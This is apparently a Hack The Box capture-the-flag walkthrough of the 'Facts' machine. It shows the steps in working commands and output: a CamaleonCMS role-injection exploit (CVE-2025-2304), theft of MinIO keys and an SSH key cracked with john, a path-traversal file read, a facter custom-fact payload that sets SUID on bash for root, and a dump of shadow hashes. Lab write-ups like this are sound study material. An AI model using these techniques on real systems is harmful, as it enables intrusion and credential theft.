Enum

  • Initial scans + config
$ rustscan --ulimit 10000 -a $IP -- -sCTV -Pn
 
Open 10.129.16.141:22
Open 10.129.16.141:80
Open 10.129.16.141:54321
 
PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh     syn-ack OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNYjzL0v+zbXt5Zvuhd63ZMVGK/8TRBsYpIitcmtFPexgvOxbFiv6VCm9ZzRBGKf0uoNaj69WYzveCNEWxdQUww=
|   256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPCNb2NXAGnDBofpLTCGLMyF/N6Xe5LIri/onyTBifIK
80/tcp    open  http    syn-ack nginx 1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.26.3 (Ubuntu)
54321/tcp open  http    syn-ack Golang net/http server
| http-methods:
|_  Supported Methods: GET OPTIONS
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 303
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 188FF2DB70502341
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Sat, 31 Jan 2026 22:56:42 GMT
|     <?xml version="1.0" encoding="UTF-8"?>
|     <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/nice ports,/Trinity.txt.bak</Resource><RequestId>188FF2DB70502341</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
|   GenericLines, Help, RTSPRequest, SSLSessionReq:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 276
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 188FF2D7CB009A95
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Sat, 31 Jan 2026 22:56:27 GMT
|     <?xml version="1.0" encoding="UTF-8"?>
|     <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/</Resource><RequestId>188FF2D7CB009A95</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Vary: Origin
|     Date: Sat, 31 Jan 2026 22:56:27 GMT
|_    Content-Length: 0
|_http-server-header: MinIO
|_http-title: Did not follow redirect to http://10.129.16.141:9001
 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Ports

22 : SSH

80 : HTTP

54321 : MinIO

  • Update /etc/hosts
$ echo "$IP facts.htb" | sudo tee -a /etc/hosts
  • Enumerating directories reveals new endpoint
$ gobuster dir -u http://facts.htb -w /usr/share/wordlists/dirb/common.txt -t 50
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://facts.htb
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.cache               (Status: 200) [Size: 11116]
.listings            (Status: 200) [Size: 11125]
.mysql_history       (Status: 200) [Size: 11140]
.htpasswd            (Status: 200) [Size: 11125]
.perf                (Status: 200) [Size: 11113]
.hta                 (Status: 200) [Size: 11110]
.forward             (Status: 200) [Size: 11122]
.bashrc              (Status: 200) [Size: 11119]
.passwd              (Status: 200) [Size: 11119]
.htaccess            (Status: 200) [Size: 11125]
.listing             (Status: 200) [Size: 11122]
.config              (Status: 200) [Size: 11119]
.cvs                 (Status: 200) [Size: 11110]
.history             (Status: 200) [Size: 11122]
.swf                 (Status: 200) [Size: 11110]
.ssh                 (Status: 200) [Size: 11110]
.cvsignore           (Status: 200) [Size: 11128]
.svn                 (Status: 200) [Size: 11110]
.bash_history        (Status: 200) [Size: 11137]
.rhosts              (Status: 200) [Size: 11119]
.sh_history          (Status: 200) [Size: 11131]
.profile             (Status: 200) [Size: 11122]
.subversion          (Status: 200) [Size: 11131]
.web                 (Status: 200) [Size: 11110]
400                  (Status: 200) [Size: 6685]
404                  (Status: 200) [Size: 4836]
500                  (Status: 200) [Size: 7918]
admin                (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
admin.php            (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
admin.cgi            (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
admin.pl             (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
ajax                 (Status: 200) [Size: 0]
*snip*
  • Most endpoints result in 200 even if invalid but we see redirects to valid ones
  • Redirect /admin/login
  • Create an account

  • Login

  • We find panel is CamaleonCMS v2.9.0

User - Intended

  • Googling CamaleonCMS 2.9.0 CVE CVE-2025-2304
  • Change password function may allow adding additional parameters
  • We can infer based on account page role=client

  • Vulnerable function from article
def updated_ajax
  @user = current_site.users.find(params[:user_id])
  update_session = current_user_is?(@user)
 
  @user.update(params.require(:password).permit!)
  render inline: @user.errors.full_messages.join(', ')
 
  # keep user logged in when changing their own password
  update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end
  • We infer role parameter can be added to change password request
  • Captured request looks like this:

  • We can see a format of password[some_parameter]=
  • So we infer and add &password[role]=admin
  • Make sure it is URL encoded &password%5Brole%5D=admin

  • We see admin role and new navigation options after refreshing page

  • Exploring the settings we find some secrets

  • Recall seeing MinIO running on port 54321 earlier
  • We can enumerate this bucket using keys
$ mc alias set facts http://facts.htb:54321 AKIA10D0188D16E7D088 ApiuYMufWRloEUsPa+oVZvORzKBeJf4BgJXCT/h0
Added `facts` successfully.
 
$ mc ls facts
[2025-09-11 08:06:52 EDT]     0B internal/
[2025-09-11 08:06:52 EDT]     0B randomfacts/
 
$ mc ls facts/internal
[2026-01-08 13:45:13 EST]   220B STANDARD .bash_logout
[2026-01-08 13:45:13 EST] 3.8KiB STANDARD .bashrc
[2026-01-08 13:47:17 EST]    20B STANDARD .lesshst
[2026-01-08 13:47:17 EST]   807B STANDARD .profile
[2026-01-31 21:57:23 EST]     0B .bundle/
[2026-01-31 21:57:23 EST]     0B .cache/
[2026-01-31 21:57:23 EST]     0B .ssh/
 
$ mc ls facts/internal/.ssh
[2026-01-31 17:06:37 EST]    82B STANDARD authorized_keys
[2026-01-31 17:06:37 EST]   464B STANDARD id_ed25519
 
$ mc cat facts/internal/.ssh/id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABB4DMhDNK
kxScOV2xP3alXIAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIHFZkP34XWAEio7n
/PmDNSs6aAa2d1cRo1tB2XAjDaMOAAAAoIEgoBWx3bBivE+vJWl0j0ve3gdOUnWA0U+TrG
7bK5HU5WdGZIxtpjL9tAdw/rQDdRPKQZHjS9q+BGWuQvHNXzlyuz21HWao8prw2Z2i75tY
R/VXFVoXiw2X3LwkqbdTKHOuqV/DTLX/JHb55TCLe+N7/xtoQpsMjhT6OFBLk9Fa2EOZzr
PUyp7dFqF/6Uzw6PQNvhIL0XyeRCfWDEMJsC0=
-----END OPENSSH PRIVATE KEY-----
 
$ mc cat facts/internal/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHFZkP34XWAEio7n/PmDNSs6aAa2d1cRo1tB2XAjDaMO
 
$ mc cat facts/internal/.ssh/id_ed25519 > id_ed25519
  • We have an SSH key but don’t know what user it belongs to
  • We can try to view comments since it seemed to lack them in authorized_keys
$ ssh-keygen -y -f id_ed25519
Enter passphrase for "id_ed25519":
  • Prompted for password ssh2john might crack
$ ssh2john id_ed25519 > id_ed25519.hash
 
$ cat id_ed25519.hash
id_ed25519:$sshng$6$16$a78d4bfa92482c79063379302e1254b0$290$6f70656e7373682d6b65792d7631000000000a6165733235362d637472000000066263727970740000001800000010a78d4bfa92482c79063379302e1254b00000001800000001000000330000000b7373682d656432353531390000002049dd18c2c54422c3ff87f503a15ccbafb91f4437a29f1f099997171271e36566000000a0eb90ef00832187fa898d8b6ed5192a293838d23996a05f055d36b54ef854bd3fbc75c610018bce127ab8e98b989f0a5b1e7b178fb67de80900921a0007f6875723c20853754e7df47df425b5af84242d53798b6754c39a2038755b32fff4bc9603259f9051391bd45a9df8417fab908031d60e870bea013e4f3b6d478a34f54836c00283a74b4bcb7d7e40f868357b0e9868a4f47766a6fe081a65bc88ceba4d$24$130
 
$ john --format=ssh --wordlist=/usr/share/wordlists/rockyou.txt id_ed25519.hash
 
dragonballz      (id_ed25519)
  • Retry viewing comments now that we have password
$ ssh-keygen -y -f id_ed25519
Enter passphrase for "id_ed25519": dragonballz
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEndGMLFRCLD/4f1A6Fcy6+5H0Q3op8fCZmXFxJx42Vm trivia@facts.htb

SSH user

trivia@facts.htb

  • Connect
$ ssh -i id_ed25519 trivia@$IP
Enter passphrase for key 'id_ed25519': dragonballz
 
trivia@facts:~$ id
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)
 
trivia@facts:~$ ls -la
total 36
drwxr-x--- 6 trivia trivia 4096 Jan 28 16:17 .
drwxr-xr-x 4 root   root   4096 Jan  8 17:53 ..
lrwxrwxrwx 1 root   root      9 Jan 26 11:40 .bash_history -> /dev/null
-rw-r--r-- 1 trivia trivia  220 Aug 20  2024 .bash_logout
-rw-r--r-- 1 trivia trivia 3900 Jan  8 18:19 .bashrc
drwxrwxr-x 3 trivia trivia 4096 Jan  8 18:01 .bundle
drwx------ 2 trivia trivia 4096 Jan  8 18:58 .cache
drwxrwxr-x 3 trivia trivia 4096 Jan  8 17:52 .local
-rw-r--r-- 1 trivia trivia  807 Aug 20  2024 .profile
drwx------ 2 trivia trivia 4096 Jan 31 22:06 .ssh
 
trivia@facts:~$ ls /home
trivia  william
 
trivia@facts:~$ ls /home/william/
user.txt
 
trivia@facts:~$ cat /home/william/user.txt
5797bd21c38c3ef73a6de92d19a08d32

User - Unintended

  • Likely will get patched
  • LFI should be patched in CamaleonCMS 2.9 but it is not in this HTB machine
  • PoC Article
  • The first method mentioned does obtain file upload, but I didn’t find anything useful before abandoning.
  • Don’t think easy path traversal is possible. Could be worth checking out.

$ mc ls facts/randomfacts
*snip*
[2026-01-31 22:15:14 EST]    29B STANDARD pwn.rb
[2026-01-31 22:23:35 EST]    15B STANDARD test.erb
 
$ curl http://facts.htb/randomfacts/test.erb
<%= `whoami` %>%
  • Managed to get second example working, utilizing /admin/media/download_private_file?file=../../../../../../etc/passwd

  • For our scenario Change Photo triggers media upload
  • Can upload so maybe we can also use the download_private_file

  • Intercepting GET request or simply visiting the URL proves LFI is present
/admin/media/download_private_file?file=../../../../../../etc/passwd

$ cat passwd | grep bash
 
root:x:0:0:root:/root:/bin/bash
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

Users

root

trivia

william

  • Can immediately check access and get user flag in /home/william/user.txt
GET /admin/media/download_private_file?file=../../../../../../home/william/user.txt

  • But in order to gain root we will likely need some sort of RCE or connection
  • Attempting to search for default SSH filenames reveals user trivia

Root

  • Always check sudo privs
trivia@facts:~$ sudo -l
 
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty
 
User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

  • We can double check our options
trivia@facts:~$ facter -h
 
Usage
=====
 
  facter [options] [query] [query] [...]
 
Options
=======
           [--color]                      Enable color output.
           [--no-color]                   Disable color output.
        -c [--config]                     The location of the config file.
           [--custom-dir]                 A directory to use for custom facts.
        -d [--debug]                      Enable debug output.
           [--external-dir]               A directory to use for external facts.
           [--hocon]                      Output in Hocon format.
        -j [--json]                       Output in JSON format.
        -l [--log-level]                  Set logging level. Supported levels are: none, trace, debug, info, warn, error, and fatal.
           [--no-block]                   Disable fact blocking.
           [--no-cache]                   Disable loading and refreshing facts from the cache
           [--no-custom-facts]            Disable custom facts.
           [--no-external-facts]          Disable external facts.
           [--no-ruby]                    Disable loading Ruby, facts requiring Ruby, and custom facts.
           [--trace]                      Enable backtraces for custom facts.
           [--verbose]                    Enable verbose (info) output.
           [--show-legacy]                Show legacy facts when querying all facts.
        -y [--yaml]                       Output in YAML format.
           [--strict]                     Enable more aggressive error reporting.
        -t [--timing]                     Show how much time it took to resolve each fact
           [--sequential]                 Resolve facts sequentially
           [--http-debug]                 Whether to write HTTP request and responses to stderr. This should never be used in production.
        -p [--puppet]                     Load the Puppet libraries, thus allowing Facter to load Puppet-specific facts.
        -v [--version]                    Print the version
           [--list-block-groups]          List block groups
           [--list-cache-groups]          List cache groups
        -h [--help]                       Help for all arguments
  • --custom-dir available
  • Says first .rb file in specified dir will be executed
  • So pwn.rb should contain payload to run as root
trivia@facts:~$ mkdir -p /tmp/pwn
trivia@facts:~$ cd /tmp/pwn

pwn.rb

Facter.add(: x) {
  setcode {
    system("chmod u+s /bin/bash")
  }
}
  • Or can echo into file
trivia@facts:~$ echo 'Facter.add(:x) { setcode { system("chmod u+s /bin/bash") } }' > /tmp/pwn/pwn.rb
 
trivia@facts:/tmp/pwn$ ls
pwn.rb
  • Now run sudo facter --custom-dir to load our script and execute our payload with root privs
trivia@facts:/tmp/pwn$ sudo facter --custom-dir /tmp/pwn
 
disks => {
  sda => {
    model => "Virtual disk",
    serial => "6000c2967e20ea19ef110cf6b958a20e",
    size => "10.00 GiB",
    size_bytes => 10737418240,
    type => "ssd",
    vendor => "VMware",
    wwn => "0x6000c2967e20ea19ef110cf6b958a20e"
  }
}
 
*snip*
  • Verify our payload executed
trivia@facts:/tmp/pwn$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1740896 Mar  5  2025 /bin/bash
  • Spawn root shell
trivia@facts:/tmp/pwn$ bash -p
 
bash-5.2$ id
uid=1000(trivia) gid=1000(trivia) euid=0(root) groups=1000(trivia)
 
bash-5.2$ cat /root/root.txt
cfcb8387746dde02147d8eec1971831f
  • Hashes
bash-5.2$ cat /etc/shadow
 
root:$y$j9T$7gs6EMa6c.zpFgKM3Grtz.$q8L7RyD.tdOf9DEhsqmEYBdKBrmxJ60ItpltO/x2nSB:20342:0:99999:7:::
trivia:$y$j9T$1fYkuzD9.m5y7SwWSTUqh/$hb29dYfEthOUaEZr8D1GriIfSkeu8YeiI2WWxMmoiG0:20342:0:99999:7:::
william:$y$j9T$L/LMpuHMall7H5uzpS/mL1$L1EJ9y7BdcE10UIxBSow2eStbt1SefLToaTh4hDacD2:20461:0:99999:7:::